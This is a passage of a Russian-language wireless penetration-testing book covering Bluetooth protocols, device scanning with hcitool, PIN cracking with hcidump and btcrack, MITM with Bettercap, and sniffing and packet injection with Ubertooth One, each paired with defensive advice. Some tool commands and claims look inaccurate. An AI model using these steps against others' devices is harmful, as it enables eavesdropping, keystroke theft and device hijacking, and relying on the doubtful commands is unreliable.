● Поощряйте использование HSTS (HTTP Strict Transport Security) для принудительного установления безопасных HTTPS-соединений.
● Установите расширение браузера HTTPS Everywhere для блокировки HTTP-соединений.
✅ Используйте VPN (виртуальную частную сеть)
● VPN шифрует весь трафик между вашим устройством и VPN-сервером.
● Даже если злоумышленник перехватит ваши данные, он увидит только бессмыслицу.
✅ Включите сквозное шифрование для приложений обмена сообщениями
● Используйте безопасные приложения для обмена сообщениями, такие как Signal, WhatsApp или Telegram (секретные чаты), для защиты связи.

5. Мониторинг активности и реагирование на подозрительные сетевые действия
Даже при наличии мер безопасности крайне важно отслеживать признаки атак MITM.
✅ Используйте инструменты мониторинга сети
● Wireshark, Zeek или Snort могут обнаруживать аномалии в сетевом трафике.
● Ищите внезапные перенаправления трафика или несколько ARP-ответов от одного MAC-адреса.
✅ Внедряйте многофакторную аутентификацию (MFA)
● Даже если злоумышленник украдет ваши учетные данные, MFA может помешать ему войти в систему.
✅ Выходите из веб-сайтов после завершения работы
● Злоумышленники могут перехватить сеансы, если вы останетесь в системе.

Заключение: Сделайте жизнь хакеров невыносимой

Защита вашей сети от атак MITM - это не ракетостроение, но требует нескольких дополнительных шагов помимо простой установки пароля Wi-Fi. Ключ в том, чтобы сделать атаки MITM слишком утомительными и трудоемкими для злоумышленника, чтобы он захотел ими заниматься.
Поэтому, когда в следующий раз будете входить в свой банк, отправлять электронное письмо или просматривать веб-страницы через общедоступный Wi-Fi, вспомните эти советы. Оставайтесь зашифрованными, оставайтесь бдительными и, самое главное, не позволяйте какому-нибудь киберпреступнику превратить вас в "шведский стол" данных.
Потому что нет ничего хуже, чем хакер, крадущий ваши учетные данные... и при этом видящий вашу неловкую историю поиска.


Глава 6: Взлом и эксплуатация Bluetooth​

Вы когда-нибудь теряли свои Bluetooth-наушники, только чтобы обнаружить, что они подключены к чужому телефону? Жутко, правда?
Bluetooth повсюду: от умных часов до автомобильных мультимедийных систем. И хотя это удобно, это также лакомая цель для хакеров. Слабые протоколы сопряжения, устаревшие стандарты безопасности и необновленные устройства делают взлом Bluetooth на удивление легким и пугающе эффективным.
Эта глава рассматривает безопасность Bluetooth как с наступательной, так и с оборонительной точек зрения. Мы рассмотрим сканирование и перечисление Bluetooth-устройств, эксплуатацию уязвимостей сопряжения и запуск атак MITM с использованием таких инструментов, как Hcitool и Ubertooth One. Вы также узнаете о методах перехвата и внедрения данных Bluetooth, а также о лучших практиках защиты ваших устройств с поддержкой Bluetooth.

6.1 Понимание протоколов Bluetooth: BR/EDR, BLE и Mesh Networks​

Ах, Bluetooth. Технология, которая позволяет нам подключать наши беспроводные наушники, умные часы, а иногда - случайно - наши колонки к телефону незнакомца в кафе. Мы любим ее, мы полагаемся на нее, и все же большинство людей понятия не имеют, как она на самом деле работает. Еще лучше? Хакеры тоже любят Bluetooth.
Bluetooth - это не просто беспроводное воспроизведение любимой музыки. Это критически важный протокол связи, используемый во всем: от медицинских устройств до умных домов и даже промышленной автоматизации. И, как и любая беспроводная технология, он сопряжен с серьезными рисками безопасности. Если вы думаете, что взлом Wi-Fi - это плохо, подождите, пока не услышите, что могут сделать злоумышленники с Bluetooth!
В этом разделе мы разберем различные типы технологий Bluetooth - BR/EDR (Basic Rate/Enhanced Data Rate), BLE (Bluetooth Low Energy) и Mesh Networking - и как каждая из них играет роль в современном беспроводном общении. Что еще более важно, мы исследуем, почему понимание этих протоколов необходимо, если вы хотите эксплуатировать или защищать устройства Bluetooth.

Bluetooth: Беспроводное чудо

Bluetooth был первоначально разработан в 1990-х годах как протокол связи ближнего действия с низким энергопотреблением для замены надоедливых, запутанных кабелей, которые мы использовали для подключения периферийных устройств.
В отличие от Wi-Fi, который фокусируется на высокоскоростной передаче данных на большие расстояния, Bluetooth отдает приоритет связи между устройствами в пределах короткого диапазона (обычно 10-100 метров, в зависимости от уровня мощности).

Сегодня Bluetooth работает в трех основных формах:

1. BR/EDR (Basic Rate / Enhanced Data Rate) - Классический Bluetooth
Лучше всего подходит для: потоковой передачи аудио (наушники, колонки), клавиатур, мышей, передачи файлов.
Это то, о чем большинство людей думает, когда слышат "Bluetooth". BR/EDR обеспечивает непрерывную связь с высокой пропускной способностью между сопряженными устройствами, что делает его идеальным для таких приложений, как:
✅ Беспроводные наушники и колонки (ваши AirPods относятся сюда).
✅ Автомобильные мультимедийные системы (привет, громкая связь).
✅ Передача данных между устройствами (отправка фотографий с телефона на ноутбук).

Риски безопасности:
🔴 Атаки с непроверенным сопряжением (например, BlueSnarfing - кража данных с устройств Bluetooth).
🔴 Прослушивание трафика Bluetooth при использовании слабого шифрования.
🔴 Вредоносные запросы на сопряжение (помните странное всплывающее окно "Хотите выполнить сопряжение?").

2. BLE (Bluetooth Low Energy) - Энергосберегающий режим
Лучше всего подходит для: устройств IoT, фитнес-трекеров, гаджетов для умного дома, маячков.
BLE, представленный в Bluetooth 4.0 (2010 г.), разработан для связи с низким энергопотреблением и прерывистой связи. Вместо поддержания постоянного соединения, как BR/EDR, BLE передает небольшие пакеты данных, что делает его идеальным для устройств, которым необходимо работать от батареи месяцами или даже годами.
Вы найдете BLE в:
✅ Умные часы и фитнес-трекеры (Fitbit, Apple Watch).
✅ Устройства для умного дома (освещение, замки, датчики).
✅ Медицинские устройства (мониторы сердечного ритма, датчики глюкозы).
✅ Маячки близости (розничные магазины отслеживают перемещения покупателей).

Риски безопасности:
🔴 BLE Spoofing & Sniffing - Злоумышленники могут перехватывать BLE-трафик и воспроизводить его для имитации устройства.
🔴 Пассивное прослушивание - Низкое энергопотребление BLE делает его уязвимым для атак "человек посередине" (MITM), если оно не зашифровано должным образом.
🔴 Слабые механизмы сопряжения - Многие устройства IoT вообще пропускают шифрование (потому что безопасность - это сложно, верно?).

3. Bluetooth Mesh Networking - Основа IoT
Лучше всего подходит для: сетей умного дома, промышленного IoT, крупномасштабной автоматизации.
Представленная в Bluetooth 5.0, mesh-сеть позволяет устройствам Bluetooth формировать крупномасштабные, децентрализованные сети, где данные передаются от одного устройства к другому.
В отличие от традиционного Bluetooth, где устройства должны сопрягаться попарно, mesh-сети позволяют осуществлять связь "многие ко многим".
Примеры использования:
✅ Системы умного освещения (управление сотнями лампочек с одного выключателя).
✅ Промышленная автоматизация (фабрики, умные сети).
✅ Системы экстренного оповещения (распространение оповещений на больших территориях).

Риски безопасности:
🔴 Релейные атаки - Злоумышленники могут манипулировать данными, передаваемыми по сети.
🔴 Несанкционированный доступ к устройствам - Если одно устройство скомпрометировано, вся сеть может оказаться под угрозой.
🔴 Атаки глушения и DoS - Крупные сети подвержены помехам сигнала, что делает их целью для атак типа "отказ в обслуживании".
Безопасность Bluetooth: почему хакеры ее любят
Итак, почему Bluetooth является такой лакомой целью для хакеров? Просто: большинство пользователей и производителей не воспринимают его безопасность всерьез.

Многие устройства Bluetooth поставляются с:
❌ PIN-кодами по умолчанию (0000, 1234 и т. д.) - их очень легко угадать.
❌ Слабым шифрованием (или полным его отсутствием!) - что делает прослушивание тривиальным.
❌ Функциями автоподключения - позволяющими злоумышленникам принудительно выполнять сопряжение без согласия пользователя.

Известные атаки на Bluetooth включают:

● BlueBorne (2017) - Позволяла злоумышленникам получать контроль над устройствами без какого-либо взаимодействия с пользователем.
● BleedingBit (2018) - Целилась в корпоративные точки доступа Bluetooth.
● KNOB Attack (2019) - Снижала уровень шифрования Bluetooth, облегчая атаки методом перебора.
Самая большая проблема? Многие производители IoT отдают предпочтение удобству перед безопасностью, оставляя миллионы устройств Bluetooth уязвимыми для атак.

Стратегии защиты: как обезопасить устройства Bluetooth

Теперь, когда мы рассмотрели поверхность атаки, давайте поговорим о том, как защитить устройства Bluetooth от хакеров.

1. Отключите Bluetooth, когда он не используется
🔒 Самая простая мера безопасности. Если вам не нужен Bluetooth, выключите его!

2. Используйте надежное сопряжение и шифрование
✅ Избегайте PIN-кодов по умолчанию (0000, 1234 и т. д.).
✅ Используйте Bluetooth 5.2+, который улучшает шифрование и аутентификацию.
✅ Включите режим "Только безопасные соединения" в настройках устройства.

3. Обновляйте устройства Bluetooth
🔄 Производители выпускают обновления прошивки для устранения уязвимостей - устанавливайте их!

4. Ограничьте обнаружение Bluetooth и автосопряжение
🚫 Установите режим "не обнаруживается", если вы активно не выполняете сопряжение.
🚫 Отключите автоподключение для неизвестных устройств.

5. Отслеживайте необычную активность Bluetooth
🛑 Если вы видите неожиданный запрос на сопряжение, немедленно отклоните его.
🛑 Используйте инструменты сканирования Bluetooth (например, Airodump-NG, BtleJack) для обнаружения неавторизованных устройств.

Заключение: Bluetooth повсюду - так обезопасьте его!

Bluetooth - удивительная технология, но ее широкое использование и небрежное отношение к безопасности делают ее основной целью для злоумышленников. Независимо от того, используете ли вы BR/EDR для аудио, BLE для умных устройств или Mesh для приложений IoT, понимание рисков безопасности имеет решающее значение.

Так что в следующий раз, когда вы включите свои Bluetooth-наушники, спросите себя:

"Безопасен ли мой Bluetooth, или я неосознанно передаю свои данные хакеру?"
Потому что нет ничего хуже, чем ваша Bluetooth-колонка, автоматически подключающаяся к устройству вашего соседа...
чем хакер, делающий то же самое, и крадущий ваши данные при этом.

6.2 Сканирование и перечисление Bluetooth-устройств с помощью Hcitool и BtleScan​

Будем честны - Bluetooth повсюду. Ваш телефон, ваши умные часы, ваш автомобиль, даже ваша зубная щетка (потому что, очевидно, нам нужны умные зубные щетки). Но со всей этой связью возникает один очень важный вопрос: кто еще находится в радиусе действия?
Если вы когда-нибудь задумывались, какие Bluetooth-устройства вас окружают - будь то для проверки безопасности, поиска уязвимостей или просто чтобы узнать, носит ли ваш сосед до сих пор раскладушку Nokia - вы попали по адресу. Сканирование и перечисление Bluetooth-устройств - это первый шаг в любой оценке безопасности Bluetooth, и в этом разделе мы расскажем, как это сделать с помощью Hcitool и BtleScan.

Понимание сканирования Bluetooth

Прежде чем мы начнем копаться, давайте разберемся, что на самом деле означает сканирование Bluetooth. Когда устройство имеет включенный Bluetooth, оно работает в одном из двух состояний:
● Режим обнаружения (Discoverable Mode) - Устройство активно транслирует свое присутствие и видимо для других.
(Представьте, что вы машете незнакомцам в толпе.)
● Режим невидимости (Non-Discoverable Mode) - Устройство по-прежнему обменивается данными по Bluetooth, но не объявляет о себе.
(Как ниндзя-устройство Bluetooth, скрывающееся в тени.)
Наша цель? Найти эти устройства - обнаруживаемые или нет.

Инструменты: Hcitool и BtleScan

Существует множество инструментов для сканирования Bluetooth, но два наиболее широко используемых в пентестинге на базе Linux:
1. Hcitool (для классических Bluetooth - устройств BR/EDR)
Hcitool - это встроенная утилита Linux, которая позволяет взаимодействовать с Bluetooth-адаптером вашей системы. Она существует уже давно и отлично подходит для сканирования классических Bluetooth (BR/EDR) устройств, таких как колонки, наушники и автомобильные мультимедийные системы.
2. BtleScan (для Bluetooth Low Energy - BLE устройств)
BLE-устройства не обмениваются данными так же, как классические Bluetooth. BtleScan (или hcitool lescan) позволяет сканировать BLE-устройства, такие как фитнес-трекеры, умные замки и IoT-сенсоры.
Сканирование классических Bluetooth-устройств с помощью Hcitool
Итак, пора испачкать руки. Сначала давайте запустим Hcitool для сканирования классических Bluetooth-устройств.

Шаг 1: Проверьте ваш Bluetooth-адаптер
Убедитесь, что Bluetooth-адаптер вашей системы распознан.
Выполните:

hciconfig

Если вы видите что-то вроде hci0, поздравляем - ваш Bluetooth-адаптер готов к работе!
Если он выключен, активируйте его командой:

hciconfig hci0 up


Шаг 2: Сканирование Bluetooth-устройств
Теперь давайте выполним сканирование обнаруживаемых устройств:

hcitool scan

Вы должны увидеть вывод, подобный этому:

Scanning ...
00:1A:7D:DA:71:11 Bose SoundLink
40:23:43:98:AB:22 Car Audio
58:71:33:76:2F:90 Zephyrion’s Headphones

Каждое устройство перечислено с его MAC-адресом и именем. Если у устройства нет имени, вы можете запросить его, используя:

hcitool name 00:1A:7D:DA:71:11

Неплохо, правда?

Шаг 3: Получите больше информации об устройстве
Давайте углубимся в конкретное устройство:

hcitool info 40:23:43:98:AB:22

Это отобразит дополнительную информацию, такую как производитель и поддерживаемые функции.

Сканирование устройств Bluetooth Low Energy (BLE) с помощью BtleScan

BLE-устройства не всегда отображаются в обычных сканированиях, поэтому мы используем BtleScan или hcitool lescan для их обнаружения.

Шаг 1: Запустите BLE-сканирование
Выполните следующую команду:

hcitool lescan

Вы получите вывод, подобный этому:

LE Scan ...
A4:C1:38:D2:98:3F (unknown)
F0:99:19:A1:74:02 FitBit Charge 5
C8:8E:1D:AA:45:77 Smart Door Lock

Если вы видите (unknown) вместо имени, не волнуйтесь - многие BLE-устройства по умолчанию не транслируют имена.

Шаг 2: Сбор дополнительной информации
Хотите получить больше информации? Используйте:

hcitool leinfo A4:C1:38:D2:98:3F

Это отобразит более подробную информацию о параметрах соединения BLE-устройства.

Пассивное сканирование Bluetooth: поиск скрытых устройств

Не все Bluetooth-устройства любят объявлять о себе.
Некоторые работают в режиме невидимости, но мы все равно можем найти их с помощью:
1. L2ping (Пинг Bluetooth-устройства)

l2ping -c 3 00:1A:7D:DA:71:11

Если устройство отвечает, оно существует - даже если оно в скрытом режиме!

2. Перехват Bluetooth с помощью Ubertooth One
Если вы хотите копнуть глубже, такие инструменты, как Ubertooth One, позволяют перехватывать Bluetooth-трафик, даже если устройства не транслируются.

Почему сканирование важно (и как его используют хакеры)

Сканирование Bluetooth - это не просто поиск устройств, это понимание поверхностей атаки.
1. Идентификация устройств (Fingerprinting)
Злоумышленники могут определить тип вашего устройства на основе его MAC-адреса и производителя. Обнаруженный:
● Fitbit → Означает, что у вас может быть слабый процесс сопряжения BLE.
● Умный замок → Может быть подвержен атаке воспроизведения.
● Автомобильная аудиосистема → Может разрешить неавторизованные подключения.

2. Целевые атаки
После того как злоумышленник идентифицирует устройство, он может попытаться:
● Брутфорс-сопряжение (для слабо защищенных устройств).
● MITM (Man-in-the-Middle) атаки на незашифрованные соединения.
● Атаки типа "отказ в обслуживании" путем перегрузки Bluetooth-сигнала.

Стратегии защиты: как скрыться от сканеров

Беспокоитесь о раскрытии информации через Bluetooth? Вот как защитить себя:
1. Отключите режим обнаружения
Если вам не нужно сопрягать устройство, установите режим "не обнаруживается".
2. Используйте рандомизацию MAC-адресов
Некоторые современные устройства периодически меняют свой MAC-адрес для предотвращения отслеживания.
3. Выключите Bluetooth, когда он не используется
Просто, но эффективно. Если он выключен, его нельзя просканировать!
4. Отслеживайте вашу Bluetooth-среду
Регулярно используйте hcitool scan или BtleScan для проверки наличия неожиданных устройств поблизости.

Заключение: Bluetooth - это круто, но это также кошмар безопасности

Bluetooth облегчает жизнь, но также создает риски безопасности, которые большинство людей игнорируют. Сканирование и перечисление устройств - это первый шаг к пониманию этих рисков - будь вы исследователем безопасности или просто любопытным человеком, интересующимся тем, что скрывается в эфире Bluetooth.
Так что в следующий раз, когда вы будете в кафе и увидите неизвестное Bluetooth-устройство, просто помните:
Это может быть колонка... а может быть хакер, ожидающий вашего подключения.

6.3 Эксплуатация уязвимостей сопряжения Bluetooth (взлом PIN-кода, MITM)​

Ах, сопряжение Bluetooth - призванное объединять устройства в идеальной беспроводной гармонии. Но будем честны: сопряжение может быть разочаровывающим беспорядком. Вы когда-нибудь пытались подключить телефон к Bluetooth автомобиля во время движения, только чтобы он таинственным образом отказал в самый неподходящий момент? Или ваши наушники отказывались подключаться, потому что они вас "забыли"?
Теперь представьте, что вместо борьбы с Bluetooth вы боретесь против него. Потому что вот в чем дело - сопряжение не просто разочаровывает, оно также может быть использовано.
В этой главе мы глубоко погрузимся в то, как злоумышленники взламывают механизмы сопряжения Bluetooth, от брутфорса PIN-кодов до атак "человек посередине" (MITM), которые позволяют незаметно прослушивать. Возьмите свой любимый гаджет Bluetooth (возможно, не вашу умную зубную щетку) и приступим.

Понимание сопряжения и безопасности Bluetooth

Прежде чем мы перейдем к веселой части (она же взлом всякого), давайте разберемся, как на самом деле работает сопряжение Bluetooth.
Когда два Bluetooth-устройства хотят соединиться, они сопрягаются путем установления общего секретного ключа. Этот процесс предназначен для предотвращения несанкционированного доступа и обеспечения того, чтобы только доверенные устройства могли обмениваться данными. Звучит здорово, правда? Ну... не так быстро.
Существует несколько методов сопряжения, и некоторые из них смехотворно слабы с точки зрения безопасности. Вот краткий обзор:
● Просто работает (Just Works) - Нет аутентификации, нет подтверждения пользователем. Это так же безопасно, как оставить ключ от дома под ковриком.
● Ввод PIN-кода (PIN Code Entry) - Обменивается четырехзначный PIN-код.
Звучит неплохо, пока вы не поймете, что четырехзначные PIN-коды могут быть взломаны за секунды.
● Ввод пароля (Passkey Entry) - Пользователь вручную вводит более длинный пароль, что затрудняет атаки, но не делает их невозможными.
● Числовое сравнение (Numeric Comparison) - Оба устройства отображают число, и пользователь подтверждает, что они совпадают (используется в Bluetooth 4.2+).
● Сопряжение внеполосным каналом (Out-of-Band, OOB) - Использует внешний канал (например, NFC) для обмена ключами, что делает его самым безопасным.
Угадайте, какие методы используются чаще всего? Да - самые слабые. И именно это делает сопряжение Bluetooth игровой площадкой для хакеров.

Эксплуатация PIN-кодов Bluetooth (атаки методом перебора)

Почему PIN-коды слабы
Многие устройства Bluetooth (особенно старые) используют фиксированные или стандартные PIN-коды, такие как 0000 или 1234. Даже если установлен пользовательский PIN-код, он часто имеет всего четыре цифры - это означает, что существует всего 10 000 возможных комбинаций. Это тривиально для современных атак методом перебора.

Брутфорс PIN-кода Bluetooth

Злоумышленники могут брутфорсить PIN-код Bluetooth с помощью таких инструментов, как Bluesniff, btcrack и Crackle. Вот базовый сценарий атаки:
● Перехват процесса сопряжения - Злоумышленник прослушивает Bluetooth-трафик во время сопряжения двух устройств.
● Извлечение PIN-кода или ключа связи - С помощью инструментов перехвата они захватывают данные рукопожатия.
● Брутфорс PIN-кода - Если используется слабый PIN-код, злоумышленник может взломать его за секунды.

Пример: Использование btcrack для восстановления PIN-кода

Сначала захватите обмен данными при сопряжении:
hcidump -X > bluetooth_log.txt
Затем проанализируйте его с помощью btcrack:
btcrack -l bluetooth_log.txt -p
Если PIN-код был слабым (1234, 0000 и т. д.), поздравляем - злоумышленник получил доступ к устройству.

Сценарии реальных атак

● Автомобильные Bluetooth-системы - Многие старые автомобильные Bluetooth-системы по-прежнему используют 0000 или 1234 в качестве стандартного PIN-кода для сопряжения. Если злоумышленник взломает его, он сможет подключиться и совершать звонки, отправлять сообщения или даже внедрять вредоносное аудио.
● Беспроводные наушники и колонки - Некоторые устройства даже не требуют аутентификации, кроме ввода PIN-кода. В случае компрометации злоумышленник может воспроизводить жуткие аудиосообщения через наушники кого-либо (или просто врубить на полную громкость "Never Gonna Give You Up").
Атаки "человек посередине" (MITM) на уязвимости сопряжения Bluetooth не ограничиваются перебором PIN-кодов - злоумышленники также могут выполнять атаки MITM, незаметно прослушивая или манипулируя трафиком Bluetooth.

Как работают атаки MITM

Атака MITM происходит, когда злоумышленник перехватывает Bluetooth-соединение между двумя устройствами, выступая в роли посредника, причем ни одна из сторон этого не осознает. Вот как это обычно происходит:● Злоумышленник выдает себя за Устройство А - Жертва думает, что подключается к доверенному устройству, но на самом деле подключается к поддельному устройству злоумышленника.
● Злоумышленник ретранслирует сообщения - Злоумышленник передает трафик между реальным Устройством А и Устройством Б, но может читать или изменять данные во время передачи.
● Жертва ничего не замечает - Все выглядит нормально, но конфиденциальные данные (такие как пароли или токены аутентификации) могут быть скомпрометированы.

Инструменты для атак MITM на Bluetooth

● Bettercap - Мощный фреймворк для MITM, включающий возможности перехвата и угона Bluetooth-трафика.
● Bluesniff - Перехватчик пакетов Bluetooth, предназначенный для захвата Bluetooth-трафика.
● Ubertooth One - Аппаратное устройство, способное пассивно перехватывать Bluetooth-трафик, даже от невидимых устройств.

Пример: Атака MITM на Bluetooth с использованием Bettercap
Запустить сканирование Bluetooth:
bettercap -eval "ble.recon on"

● Дождаться появления целевого устройства, затем попытаться перехватить трафик.
● В случае успеха расшифровать и проанализировать захваченные данные.

Реальные сценарии атак MITM на Bluetooth

● Клавиатуры и мыши - Многие беспроводные клавиатуры до сих пор используют незашифрованные Bluetooth-соединения. Если злоумышленник выполнит атаку MITM, он сможет увидеть каждую введенную клавишу (да, включая пароли).
● Устройства для отслеживания здоровья - Носимые трекеры здоровья отправляют незашифрованные данные Bluetooth в мобильные приложения. Атака MITM может перехватить и изменить показатели здоровья. Представьте, что хакер заставит ваши смарт-часы показывать частоту сердечных сокращений 200 ударов в минуту.

Как защититься от атак сопряжения Bluetooth

Если вы не хотите, чтобы кто-то перебирал PIN-код вашего Bluetooth или шпионил за вашими устройствами, следуйте этим рекомендациям:
● Используйте безопасный метод сопряжения - Избегайте режима "Просто работает" и вместо этого используйте численное сравнение или парольные фразы.
● Установите надежный PIN-код - Если ваше устройство позволяет, используйте PIN-код длиннее четырех цифр.
● Отключите Bluetooth, когда он не используется - Если ваш Bluetooth выключен, злоумышленники не смогут его атаковать.
● Используйте Bluetooth 4.2+ или новее - Новые версии включают более надежное шифрование и защиту от атак MITM.
● Отслеживайте необычные подключения - Если ваше устройство случайным образом запрашивает сопряжение с неизвестным устройством, не доверяйте ему.

Заключение:

Bluetooth - это удобно… и опасно
Bluetooth облегчает жизнь, но также открывает мир угроз безопасности. От взлома слабых PIN-кодов до незаметного прослушивания Bluetooth-трафика - у злоумышленников есть множество трюков для эксплуатации уязвимостей сопряжения.
Так что в следующий раз, когда вы бездумно будете подключать свой телефон к Bluetooth-колонке, спросите себя - кто еще слушает?

6.4 Атаки перехвата и внедрения Bluetooth с помощью Ubertooth One​

Ах, Bluetooth - волшебная технология, которая позволяет вам беспроводным способом транслировать ваш неловкий плейлист на публике, случайно подключаться к умному телевизору соседа или испытывать чистое разочарование от сообщения "сопряжено, но не подключено". Но что, если я скажу вам, что Bluetooth также является открытой игровой площадкой для хакеров, вооруженных правильными инструментами?
Представляем Ubertooth One - устройство, которое может перехватывать Bluetooth-пакеты буквально из воздуха, перехватывать соединения и даже внедрять вредоносные данные в ничего не подозревающие устройства. Если вы думали, что взлом Wi-Fi - это весело, подождите, пока вы не начнете прослушивать Bluetooth-клавиатуры, фитнес-трекеры и умные замки - и все это, даже не прикасаясь к ним.
Готовы погрузиться? Давайте разберемся, как работает Ubertooth One, как его используют злоумышленники и как от него защититься.

Что такое Ubertooth One?

Ubertooth One - это аппаратный инструмент для атак на Bluetooth, предназначенный для перехвата, мониторинга и внедрения пакетов в коммуникации Bluetooth Low Energy (BLE) и классического Bluetooth (BR/EDR). Он был разработан Майклом Оссманном и широко используется исследователями безопасности, пентестерами и, давайте будем честными, хакерами, которые любят беспроводные шалости.

Почему Ubertooth One так мощный

В отличие от стандартных Bluetooth-адаптеров, которые ограничены активными соединениями, Ubertooth One имеет возможность:
✅ Перехватывать Bluetooth-трафик, даже от устройств, не находящихся в режиме сопряжения.
✅ Захватывать пакеты в реальном времени, позволяя анализировать и расшифровывать их.
✅ Выполнять атаки "человек посередине" (MITM), перехватывая данные между устройствами.
✅ Внедрять произвольные Bluetooth-пакеты, манипулируя доверенными устройствами или выдавая себя за них.
Другими словами, если бы Bluetooth был банковским сейфом, Ubertooth One был бы мастер-ключом, который работает даже тогда, когда сейф "заперт".

Перехват Bluetooth с помощью Ubertooth One

Bluetooth-устройства постоянно транслируют данные, независимо от того, ищут ли они соединение или уже сопряжены. Проблема? Многие устройства не шифруют свой трафик должным образом, что позволяет злоумышленникам перехватывать конфиденциальные данные.

Как работает перехват Bluetooth

Bluetooth работает на 79 каналах (для BR/EDR) и 40 каналах (для BLE) в диапазоне 2,4 ГГц. Устройства быстро переключаются между каналами (техника, называемая частотным скачкообразным изменением) для избежания помех.
Ubertooth One может отслеживать и захватывать Bluetooth-пакеты в реальном времени, реконструируя связь между устройствами. Это означает, что злоумышленник может:
📡 Прослушивать Bluetooth-клавиатуры и мыши, перехватывая нажатия клавиш и движения мыши.
📡 Отслеживать незашифрованные фитнес-трекеры, считывая количество шагов, данные о частоте сердечных сокращений и даже историю местоположений.
📡 Перехватывать аудио с Bluetooth-гарнитур, потенциально записывая частные разговоры.

Пример: Захват Bluetooth-трафика
Чтобы начать перехват Bluetooth-пакетов с помощью Ubertooth One, выполните следующие шаги:

Шаг 1: Установка инструментов Ubertooth
Если вы еще этого не сделали, установите необходимое программное обеспечение:

sudo apt install ubertoothИли клонируйте репозиторий и соберите из исходного кода:
git clone https://github.com/greatscottgadgets/ubertooth
cd ubertooth
make && sudo make install


Шаг 2: Запуск перехвата Bluetooth
Переведите Ubertooth в режим перехвата для захвата необработанных пакетов:

ubertooth-rx -f > captured_data.pcap

Для анализа пакетов в Wireshark:

wireshark -r captured_data.pcap


Шаг 3: Извлечение конфиденциальных данных
Ищите незашифрованный текст, запросы на аутентификацию или обмены ключами в захваченных пакетах. Некоторые устройства по-прежнему передают данные в открытом виде, что упрощает их извлечение:
🔓 Нажатия клавиш с Bluetooth-клавиатур
🔓 Данные о здоровье с фитнес-трекеров
🔓 Передача файлов между Bluetooth-устройствами

Реальные атаки перехвата Bluetooth

💀 Перехват Bluetooth-клавиатур - Многие беспроводные клавиатуры не шифруют нажатия клавиш, что означает, что злоумышленник может перехватить каждый введенный вами пароль.
💀 Отслеживание Bluetooth-устройств для фитнеса - Фитнес-трекеры транслируют данные, которые могут быть использованы для отслеживания перемещений пользователя, что представляет риск для сталкеров или киберпреступников.
💀 Перехват передач данных умных замков - Некоторые Bluetooth-совместимые умные замки используют слабую аутентификацию, что позволяет злоумышленнику перехватить сигнал разблокировки и воспроизвести его позже.

Атаки внедрения Bluetooth-пакетов
Перехват Bluetooth-трафика - это одно, а внедрение собственных пакетов - вот где начинается настоящее веселье. Ubertooth One позволяет злоумышленникам подделывать Bluetooth-устройства, выдавать себя за доверенные соединения или манипулировать трафиком в реальном времени.

Как работает внедрение пакетов

Вместо того чтобы просто слушать Bluetooth-соединения, злоумышленник может внедрять вредоносные пакеты в активную сессию. Это может привести к:
⚠️Принудительному отключению Bluetooth-устройств (атака отказа в обслуживании)
⚠️Угон активной сессии и получение контроля над устройством
⚠️Отправке поддельных команд ввода на Bluetooth-клавиатуры или игровые контроллеры

Пример: Внедрение Bluetooth-пакетов

Для внедрения пользовательских пакетов с помощью Ubertooth:
ubertooth-tx -f 2402 -d "MaliciousPacketData"
Эта команда передает данные на частоте 2402 МГц, которая является одной из основных частот Bluetooth.

Реальные атаки внедрения Bluetooth

🎮 Угон игровых контроллеров - Злоумышленник может внедрять поддельные нажатия кнопок, вмешиваясь в управление игрока.
💡 Управление устройствами умного дома - Многие Bluetooth-совместимые умные лампочки, дверные замки и термостаты не имеют аутентификации, что позволяет злоумышленнику выключать свет, открывать двери или изменять настройки температуры.
🎤 Захват управления Bluetooth-колонками - Хотели когда-нибудь включить громкую музыку на чужой колонке? Злоумышленники могут внедрять аудиопакеты и угонять Bluetooth-аудиопотоки.

Защита от атак перехвата и внедрения Bluetooth

🔒 Отключите Bluetooth, когда он не используется - Если ваше устройство не транслирует сигнал, его нельзя перехватить.
🔒 Используйте Bluetooth 4.2+ или новее - Новые версии используют более надежное шифрование и улучшенные методы сопряжения.
🔒 Избегайте использования Bluetooth для конфиденциальных задач - Ввод паролей на Bluetooth-клавиатуре? Плохая идея. Использование Bluetooth для финансовых транзакций? Еще хуже.
🔒 Включите белые списки устройств - Некоторые устройства позволяют вручную одобрять соединения, предотвращая сопряжение с поддельными устройствами.
🔒 Отслеживайте несанкционированные подключения - Если ваше устройство внезапно отключается и переподключается, оно может быть под атакой.

Заключение: Ubertooth One - мечта хакера… и кошмар безопасности

Bluetooth призван облегчить жизнь, но он также открывает серьезные угрозы безопасности. С помощью Ubertooth One хакеры могут перехватывать Bluetooth-трафик, внедрять вредоносные пакеты и даже угонять устройства, даже не прикасаясь к ним.
Так что в следующий раз, когда вы будете подключать свои Bluetooth-наушники, смарт-часы или автомобильную информационно-развлекательную систему, просто помните - кто еще может слушать?


Глава 7: Атаки на радиочастотные (RF) протоколы и беспроводные IoT-устройства​

Помните, когда открытие вашей гаражной двери было просто… открытием вашей гаражной двери? Теперь это беспроводная передача, которую хакеры могут перехватывать, воспроизводить и использовать. Устройства на базе RF, от умных замков до промышленных датчиков, часто создаются с упором на удобство, а не на безопасность. Это означает, что злоумышленники с правильными инструментами могут легко угонять сигналы и манипулировать системами.
В этой главе мы исследуем мир RF-хакинга с использованием программно-определяемого радио (SDR). Вы узнаете, как перехватывать и анализировать RF-сигналы, выполнять атаки воспроизведения на IoT-устройствах и проводить обратную разработку проприетарных RF-протоколов. Мы также обсудим лучшие способы защиты RF-систем от распространенных эксплойтов.

7.1 Введение в радиочастотную (RF) связь и SDR (программно-определяемое радио)​

Итак, давайте поговорим о радиочастотах (RF) - невидимой магии, которая обеспечивает работу всего, от вашего Wi-Fi, Bluetooth, брелока для гаражных ворот и даже автомобильного ключа. Если вы думаете, что RF - это только для старых радиоприемников AM/FM, подумайте еще раз. Ваш умный дом, IoT-устройства, дроны и даже спутники транслируют сигналы, как хаотичный рок-концерт без охранников. И знаете что? Хакеры это любят.
Вот где на сцену выходит программно-определяемое радио (SDR) - швейцарский нож для беспроводного хакинга. Это похоже на превращение вашего ноутбука в мощный радиосканер, способный обнаруживать, декодировать и даже манипулировать RF-сигналами. Если вы когда-либо хотели подслушать беспроводные устройства, провести обратную разработку сигналов или запустить атаки воспроизведения на IoT-гаджетах, SDR - это идеальный инструмент. Но прежде чем мы начнем подслушивать умный холодильник вашего соседа, давайте получим четкое представление о RF-связи и почему это важно.

Что такое RF-связь?

По сути, RF-связь - это просто данные, передаваемые по воздуху в виде электромагнитных волн. Каждый раз, когда вы используете Wi-Fi, Bluetooth или оплачиваете бесконтактной картой, вы используете RF. Даже автомобильные брелоки, карты доступа RFID, метеорологические спутники и радионяни работают в RF-диапазоне.
